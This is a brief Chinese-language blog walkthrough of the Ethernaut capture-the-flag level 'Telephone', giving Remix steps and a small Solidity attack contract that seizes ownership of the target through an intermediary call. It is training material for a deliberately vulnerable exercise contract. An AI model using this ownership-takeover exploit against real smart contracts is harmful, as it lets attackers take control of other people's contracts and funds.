# Ethernaut CTF - Telephone (Level 4)教程

**Published by:** [hujiawei](https://paragraph.com/@hujiawei/)
**Published on:** 2022-04-15
**URL:** https://paragraph.com/@hujiawei/ethernaut-ctf-telephone-level-4

## Content

1. remix.ethereum.org 2.新建 Telephone.sol文件 3.编译 pragma solidity ^0.5.0; interface Telephone{ function changeOwner(address _owner) external;} contract Hack{ function attack(address _addr ,address _owner) public{ Telephone teleContract = Telephone(_addr); teleContract.changeOwner( _owner); }} 4. 5.先点击Deploy，部署成功后在attack的地址栏处填写地址：”A，B”,其中A为合约持有者地址，可以在谷歌浏览器开发者工具中找到。B为自己钱包地址。然后点击attack。任务结束。

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